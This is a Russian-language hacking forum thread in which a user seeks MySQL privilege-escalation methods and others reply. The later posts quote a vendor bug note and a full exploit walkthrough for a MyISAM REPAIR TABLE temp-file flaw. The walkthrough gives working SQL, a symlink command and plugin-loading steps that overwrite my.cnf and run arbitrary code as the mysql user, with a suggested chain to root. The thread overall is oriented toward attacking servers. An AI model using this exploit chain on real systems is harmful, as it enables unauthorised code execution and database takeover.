Старый 01.08.2013, 10:22   #1
x41
 
Аватар для x41
 
Регистрация: 12.07.2013
Сообщений: 3
Репутация: 0
По умолчанию Mysql Privilege elevation

Кто нибудь в курсе о способах реализации поднятия привелегий с помощью крэша mysql и перехвата управления от имени пользователя от которого запущена БД. Прав на создание пользователей нет. Версия Mysql 5.1.68 . http://www.exploit-db.com/exploits/23077/ не сработал, не хватает прав, да и версия БД выше.
__________________
Join and compile!

Последний раз редактировалось SynQ; 01.10.2013 в 13:01..
x41 вне форума   Ответить с цитированием
Старый 01.08.2013, 19:25   #2
j3k
 
Регистрация: 06.07.2013
Сообщений: 9
Репутация: 0
По умолчанию

насколько я понял атакующему пользователю нужны права на FILE, которые позволяют
LOAD DATA INFILE и SELECT INTO OUTFILE
иначе никак
j3k вне форума   Ответить с цитированием
Старый 02.08.2013, 16:12   #3
lolka
 
Регистрация: 02.06.2013
Сообщений: 14
Репутация: 0
По умолчанию

Пользуемся поиском, https://rdot.org/forum/showthread.php?p=29726
lolka вне форума   Ответить с цитированием
Старый 02.08.2013, 23:10   #4
b3
 
Аватар для b3
 
Регистрация: 18.08.2010
Сообщений: 352
Репутация: 105
По умолчанию

Цитата:
Сообщение от j3k Посмотреть сообщение
насколько я понял атакующему пользователю нужны права на FILE, которые позволяют
LOAD DATA INFILE и SELECT INTO OUTFILE
иначе никак
Причем здесь права пользователя mysql к тому от кого запущен сам демон mysqld который в свою очередь запущен от пользователя mysql по дефольту.
Код:
mysql     1412  0.0  9.0 356896 88072 ?        Sl   Jul31   3:06  \_ /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=
Что все сводит к бесполезности переполнения буфера демона. Если я всё правильно понял)
b3 вне форума   Ответить с цитированием
Старый 13.08.2013, 10:22   #5
x41
 
Аватар для x41
 
Регистрация: 12.07.2013
Сообщений: 3
Репутация: 0
По умолчанию

Всем спасибо. Надо было сразу проверить. Нет file_priv. Этот сплоит не подойдет.
Есть еще какие либо варианты поднятия прав на Mysql наподобие этого?
__________________
Join and compile!
x41 вне форума   Ответить с цитированием
Старый 13.08.2013, 21:45   #6
lefty
 
Аватар для lefty
 
Регистрация: 01.09.2011
Сообщений: 50
Репутация: 13
По умолчанию

Цитата:
Что все сводит к бесполезности переполнения буфера демона. Если я всё правильно понял)
речь идет не о поднятии прав в окружении ОС, а о поднятии прав в окружении самой субд.
lefty вне форума   Ответить с цитированием
Старый 11.09.2014, 11:33   #7
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Цитата:
The changes for MySQL 5.5.39[1] and 5.6.20[2] contain a reference to
the following issue, which could be exploited by a local user to run
arbitrary code in context of the mysqld server.

MyISAM temporary files could be used to mount a code-execution attack.
(Bug #18045646).

This is also tracked in[3] and [4] mentioning as relevant fix [5].

Was a CVE already requested for this issue? If not, could one be
assigned?

Regards,
Salvatore

[1] https://dev.mysql.com/doc/relnotes/mysql/5.5/en/news-5-5-39.html
[2] https://dev.mysql.com/doc/relnotes/mysql/5.6/en/news-5-6-20.html
[3] https://bugzilla.redhat.com/show_bug.cgi?id=1126271
[4] https://bugs.gentoo.org/show_bug.cgi?id=518718
[5] https://bazaar.launchpad.net/~mysql/mysql-server/5.5/revision/4638
http://bazaar.launchpad.net/~mysql/m.../revision/4638

Цитата:
Description: Using the temporary file vulnerability an
attacker can create a file with arbitrary content at a
location of his choice. This can be used to create the
file /var/lib/mysql/my.cnf, which will be read as a
configuration file by MySQL, because it is located in the
home directory of the mysql user. With this configuration
file, the attacker can specify his own plugin_dir variable,
which then allows him to load arbitrary code via
"INSTALL PLUGIN...".

Analysis: While creating the ".TMD" file we are not checking
if the file is already exits or not in mi_repair() function.
And we are truncating if the ".TMD" file exits and going ahead
This is creating the security breach.

Fix: We need to use O_EXCL flag along with O_RDWR and O_TRUNC
which will make sure if any user creates ".TMD" file, will
fails the repair table with "cannot create ".TMD" file error".
Actually we are initialing "param.tmpfile_createflag" member
with O_RDWR | O_TRUNC | O_EXCL in myisamchk_init(). And we
are modifying it in ha_myisam::repair() to O_RDWR | O_TRUNC.
So, we need to remove the line which is modifying the
"param.tmpfile_createflag".
Имея свободный доступ к mysql (вроде phpmyadmin), можно записать файл с произвольным содержимым от имени mysql, т.е. например подменить my.cnf и активировать свой плагин -> выполнять команды от имени mysql.
SynQ вне форума   Ответить с цитированием
Старый 27.10.2014, 12:04   #8
Oops
 
Регистрация: 04.05.2013
Сообщений: 9
Репутация: 2
По умолчанию

Я правильно понимаю что в 5.5.37 бага существует?
Oops вне форума   Ответить с цитированием
Старый 27.10.2014, 16:28   #9
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Видимо, да, посмотри еще на дату бинарника mysqld и сравни с датой эдвайзори.
Как конкретно работает баг, придется разбираться тебе...
SynQ вне форума   Ответить с цитированием
Старый 26.03.2015, 12:49   #10
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Продолжение про баг, о котором 3 поста выше:
https://bugzilla.suse.com/show_bug.cgi?id=857678
Имея права на CREATE TABLE в mysql, а также доступ на запись в какую-либо папку, можно перезаписать my.cnf => получить доступ ко всем базам и права mysql в системе.

Работает на suse, debian, ubuntu. На redhat не работает.

Код:
Reported by Stefan Nordhausen:

----------8<---------------------

Since today was a quiet day at the office, I was able to complete
another exploit that allows an attacker with

  * CREATE TABLE privileges in MySQL
  * any Unix-account on the MySQL server

to execute arbitrary code in the context of the MySQL server, i.e. as
user "mysql". And let's just assume that this access was officially
granted to the attacker. Exploitation is also not too complex and very
reliable. The code below assumes you are user nordhausen with home
directory /home/nordhausen. Initial setup is

    > cd ~
    > mkdir mysql
    > chmod 777 mysql

The SQL instructions below use the "DATA DIRECTORY" directive. This
assumes that symlinks are enabled (check with /SHOW VARIABLES LIKE
"have_symlink"/), which is the case in openSuse 12.3, but not in Red Hat
6.5. So, assuming default options, the below part will only work with
openSuse:

    USE <a_database_where_you_can_create_tables>;
    CREATE TABLE myisam ( x1 CHAR(1), x2 CHAR(1), x3 CHAR(1), x4
    CHAR(1), x5 char(1), x6 char(1), x7 char(45) ) ENGINE = myisam, DATA
    DIRECTORY = "/home/nordhausen/mysql";
    INSERT INTO myisam VALUE (NULL, "x", "x", "x", NULL, "x",
    "\n[mysqld]\nplugin_dir=/home/nordhausen/mysql\n#");

The strange table setup has a reason: MyISAM prefixes each record with a
bitmap that indicates which columns are NULL and which are not. With the
above layout, that bitmap corresponds to the ASCII character "#", i.e.
anything after it is marked as a comment. This is important because
MySQL will completely ignore a syntactically incorrect configuration
file. You can check with "cat ......./myisam.MYD"  that the file is not
just a valid MYD data file, but also a valid MySQL configuration file,
looking like this:

    > cat /home/nordhausen/mysql/myisam.MYD
    #   x  x  x     x
    [mysqld]
    plugin_dir=/home/nordhausen/mysql
    #

Now, the mission is to get this file moved to /var/lib/mysql/my.cnf. For
this, I exploit that MySQL is very careless during a REPAIR TABLE: It
will use the file called <table_name>.TMD without any security checks.
Creating a symlink on the shell:

    ln -s /var/lib/mysql/my.cnf /home/nordhausen/mysql/myisam.TMD

followed by SQL command

    REPAIR TABLE myisam;

will produce an "Operation failed" message. But the exploit has worked,
the content of the MYD file has been copied to the destination file.
Since /var/lib/mysql is the home directory of the "mysql" user, the new
"my.cnf" file will be picked up by MySQL as a configuration file. Now,
the attacker waits for the MySQL server to be restarted, his custom
configuration is loaded and the fun begins:

    > cp /usr/lib64/mysql/plugin/ha_blackhole.so
    /home/nordhausen/mysql/attacker.so

    mysql> show variables like "plugin_dir";
    +---------------+-------------------------+
    | Variable_name | Value                   |
    +---------------+-------------------------+
    | plugin_dir    | /home/nordhausen/mysql/ |
    +---------------+-------------------------+

    mysql> INSTALL PLUGIN blackhole SONAME 'attacker.so';
    Query OK, 0 rows affected (0.00 sec)

Instead of ha_blackhole.so, the attacker could use arbitrary
self-compiled files. Since MySQL installs the plugin even though the
file & directory are owned by user nordhausen, it means he can run any
code inside the MySQL server.

Installing the plugin needs INSERT privilege on the mysql.plugin table.
But the above exploit can also be used to overwrite any other file with
the privileges of the mysql user. You could overwrite
/var/lib/mysql/mysql/plugin.MYD or user.MYD (which are also a MyISAM
tables), thus inserting the plugin directly (after next MySQL restart)
or giving yourself SUPER privileges in MySQL. Alternatively, since the
attacker installed a new my.cnf file, he could redefine the "datadir"
config variable to point to a directory of his choice, which would
include a privilege setup of his choice. I have not tested any of that
yet, though.

Technically, this is more a MySQL exploit than an openSuse exploit, but
it shows that access to the mysql user account is achievable based on
realistic initial privileges. Together with the previous exploit, there
is now a way from "CREATE TABLE privilege + any user account" --> mysql
account --> root account. Sounds dangerous enough to me to warrant a
bugfix or two.
SynQ вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot